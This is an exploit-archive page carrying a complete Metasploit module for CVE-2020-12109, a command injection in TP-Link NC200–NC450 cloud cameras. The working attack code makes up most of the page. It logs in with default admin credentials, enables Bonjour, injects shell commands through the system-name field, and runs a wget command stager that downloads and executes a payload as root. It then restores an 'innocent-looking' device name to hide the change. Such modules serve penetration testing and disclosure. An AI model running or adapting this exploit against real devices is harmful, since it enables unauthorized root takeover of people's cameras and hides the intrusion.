exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TP-Link Cloud Cameras NCXXX Bonjour Command Injection

TP-Link Cloud Cameras NCXXX Bonjour Command Injection
Posted Sep 18, 2020
Authored by Pietro Oliva | Site metasploit.com

TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230, NC250, NC260, NC450) are vulnerable to an authenticated command injection vulnerability. In all devices except NC210, despite a check on the name length in swSystemSetProductAliasCheck, no other checks are in place in order to prevent shell metacharacters from being introduced. The system name would then be used in swBonjourStartHTTP as part of a shell command where arbitrary commands could be injected and executed as root. NC210 devices cannot be exploited directly via /setsysname.cgi due to proper input validation. NC210 devices are still vulnerable since swBonjourStartHTTP did not perform any validation when reading the alias name from the configuration file. The configuration file can be written, and code execution can be achieved by combining this issue with CVE-2020-12110.

tags | exploit, arbitrary, shell, cgi, root, code execution
advisories | CVE-2020-12109
SHA-256 | 820ebca1a60727c3c7198c5f8d186f030d053aca8aaa88544be3fdcb57017f5e

TP-Link Cloud Cameras NCXXX Bonjour Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'TP-Link Cloud Cameras NCXXX Bonjour Command Injection',
'Description' => %q{
TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230,
NC250, NC260, NC450) are vulnerable to an authenticated command
injection. In all devices except NC210, despite a check on the name length in
swSystemSetProductAliasCheck, no other checks are in place in order
to prevent shell metacharacters from being introduced. The system name
would then be used in swBonjourStartHTTP as part of a shell command
where arbitrary commands could be injected and executed as root. NC210 devices
cannot be exploited directly via /setsysname.cgi due to proper input
validation. NC210 devices are still vulnerable since swBonjourStartHTTP
did not perform any validation when reading the alias name from the
configuration file. The configuration file can be written, and code
execution can be achieved by combining this issue with CVE-2020-12110.
},
'Author' => ['Pietro Oliva <pietroliva[at]gmail.com>'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12109' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12109' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2020/May/2' ],
[ 'CVE', '2020-12109']
],
'DisclosureDate' => '2020-04-29',
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'Targets' =>
[
[
'TP-Link NC200, NC220, NC230, NC250',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'CmdStagerFlavor' => [ 'wget' ]
}
],
[
'TP-Link NC260, NC450',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'CmdStagerFlavor' => [ 'wget' ],
'DefaultOptions' => { 'SSL' => true }
}
]
],
'DefaultTarget' => 0
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'The web interface username', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The web interface password for the specified username', 'admin' ])
]
)
end

def login
user = datastore['USERNAME']
pass = Base64.strict_encode64(datastore['PASSWORD'])
if target.name == 'TP-Link NC260, NC450'
pass = Rex::Text.md5(pass)
end

print_status("Authenticating with #{user}:#{pass} ...")
begin
res = send_request_cgi({
'uri' => '/login.fcgi',
'method' => 'POST',
'vars_post' => {
'Username' => user,
'Password' => pass
}
})
if res.nil? || res.code == 404
fail_with(Failure::NoAccess, '/login.fcgi did not reply correctly. Wrong target ip?')
end
if res.body =~ /\"errorCode\"\:0/ && res.headers.key?('Set-Cookie') && res.body =~ /token/
print_good("Logged-in as #{user}")
@cookie = res.get_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)[0][1]
print_good("Got cookie: #{@cookie}")
@token = res.body.scan(/"(token)":"([^,"]*)"/)[0][1]
print_good("Got token: #{@token}")
else
fail_with(Failure::NoAccess, "Login failed with #{user}:#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed')
end
end

def enable_bonjour
res = send_request_cgi({
'uri' => '/setbonjoursetting.fcgi',
'method' => 'POST',
'encode_params' => false,
'cookie' => "sess=#{@cookie}",
'vars_post' => {
'bonjourState' => '1',
'token' => @token.to_s
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
return nil
end

def sys_name(cmd)
res = send_request_cgi({
'uri' => '/setsysname.fcgi',
'method' => 'POST',
'encode_params' => true,
'cookie' => "sess=#{@cookie}",
'vars_post' => {
'sysname' => cmd,
'token' => @token.to_s
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
return nil
end

def execute_command(cmd, _opts = {})
print_status("Executing command: #{cmd}")
sys_name("$(#{cmd})")
end

def exploit
login # Get cookie and csrf token
enable_bonjour # Enable bonjour service
execute_cmdstager # Upload and execute payload
sys_name('NC200') # Set back an innocent-looking device name
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close